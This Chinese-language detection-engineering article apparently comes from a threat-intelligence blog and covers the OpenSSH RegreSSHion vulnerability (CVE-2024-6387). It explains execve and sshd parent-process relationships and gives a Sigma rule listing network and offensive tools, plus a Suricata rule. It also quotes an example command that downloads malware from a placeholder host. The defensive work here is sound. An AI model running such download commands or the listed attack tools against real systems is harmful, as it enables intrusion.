背景:
1.行为
execve
在编写Linux检测内容时,理解execve的工作原理至关重要。虽然深入探讨可以留待以后,但了解基础知识对我们的目的来说已经足够了。以下是man页面对execve系统调用的描述:
execve()执行由filename指向的程序。filename必须是二进制可执行文件,或者以以下形式开头的脚本:
这意味着当你在shell中输入类似./exp的命令时,你实际上是在对相关的二进制文件或脚本调用execve系统调用,从而启动进程。这个动作通常会被auditd等工具记录。auditd生成的进程执行日志可以被视为类似于Windows事件ID 4688,后者记录进程创建事件。
整合检测策略
让我们回顾一下我们所知道的:
1. RegreSSHion(CVE-2024-6387)利用竞争条件在内存中执行shellcode。
2. shellcode将存储在sshd进程内存中,很可能包含某种形式的execve来执行命令或代码。
3. 由于sshd执行恶意shellcode,调用新进程,sshd很可能是被执行内容的父进程。
父进程关系是一个有用的检测组合,我们将用它来检测SSH的远程代码执行。
检测任何从sshd派生的shell会有问题,因为通常当你SSH进入系统时,会为你生成一个用于交互的shell。这是常见活动。然而,如果有人执行恶意bash命令,比如bash -c "wget https://xxx.com/malware",它会导致wget作为sshd的子进程出现。
父进程关系解释
当你执行bash -c "wget https://xxx.com/malware"时,sshd是启动用户会话并生成初始shell的父进程。在这种情况下,bash使用-c选项执行作为字符串提供的命令。一旦bash运行命令,它就会执行wget,但不会为它创建单独的父进程。因此,wget命令会显示为sshd的直接子进程,而不是bash的。这是因为bash -c在当前shell的上下文中执行命令,而该shell仍然是sshd的子进程。
Sigma规则
由于shell本身作为子进程太常见,仅凭SSH的工作方式无法检测,我们可以转而检测那些不太常见但可能需要执行的操作,比如下载第二阶段恶意软件或攻击工具,或者执行它们。考虑到这一点,我们可以创建一个Sigma规则来检测这种活动:
title: 检测SSH/SSHD的可疑子进程或命令
description: 检测SSH/SSHD的可疑子进程或由SSH/SSHD执行的命令,这可能表明存在使用常见Linux攻击工具或网络二进制文件进行潜在滥用的情况。
references:
- https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
- https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
tags:
- attack.t1190
logsource:
category: process_creation
product: linux
detection:
selection_process:
ParentImage:
- '/usr/bin/ssh'
- '/usr/sbin/sshd'
Image:
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nmap'
- '/usr/bin/nc'
- '/usr/bin/socat'
- '/usr/bin/nc.traditional'
- '/usr/bin/nc.openbsd'
- '/usr/bin/openssl'
- '/usr/bin/nc6'
- '/usr/bin/msfconsole'
selection_commandline:
ParentImage:
- '/usr/bin/ssh'
- '/usr/sbin/sshd'
CommandLine|contains:
- 'nmap'
- 'chisel'
- 'zenmap'
- 'xenmap'
- 'john'
- 'hydra'
- 'sqlmap'
- 'dirbuster'
- 'nikto'
- 'gobuster'
- 'feroxbuster'
- 'masscan'
- 'metasploit'
- 'empire'
condition: selection_process or selection_commandline
falsepositives:
- Expected administrative activity
- Regular user behavior with legitimate use cases
level: medium
需要注意的是,虽然这可能会捕获大量的利用活动,但这个检测器并非万无一失,攻击者可能会规避它,部署时应该牢记这一点。
2.流量(Snort/Suricata检测规则)
alert ssh any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET INFO Server Responded with Vulnerable OpenSSH Version (CVE-2024-6387)"; flow:established,to_client; content:"SSH-"; startswith; content:"-OpenSSH_"; fast_pattern; pcre:"/^(?:[123]|4\.(?:[0123](?:p\d)?|4[^p])|8\.(?:[6789](?:p\d)?|5(?:p[^1])?)|9\.(?:[01234567](?:p\d)?|8[^p]))(?:\.\d)*(?:\d|p\d)*/R"; reference:cve,2024-6387; reference:url,blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server; classtype:successful-recon-largescale; sid:2054218; rev:2; metadata:attack_target Client_and_Server, created_at 2024_07_01, cve CVE_2024_6387, deployment Perimeter, deployment Internal, former_category EXPLOIT, performance_impact Significant, signature_severity Informational, updated_at 2024_07_02, former_sid 2857461, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_technique_name Exploit_Public_Facing_Application; target:dest_ip;)
推荐阅读
闲谈
威胁情报
1.威胁情报 - 最危险的网络安全工作
2.威胁情报专栏 | 威胁情报这十年(前传)
3.网络威胁情报的未来
4.情报内生?| 利用威胁情报平台落地网空杀伤链的七种方法
5.威胁情报专栏 | 特别策划 - 网空杀伤链
APT
入侵分析与红队攻防
天御智库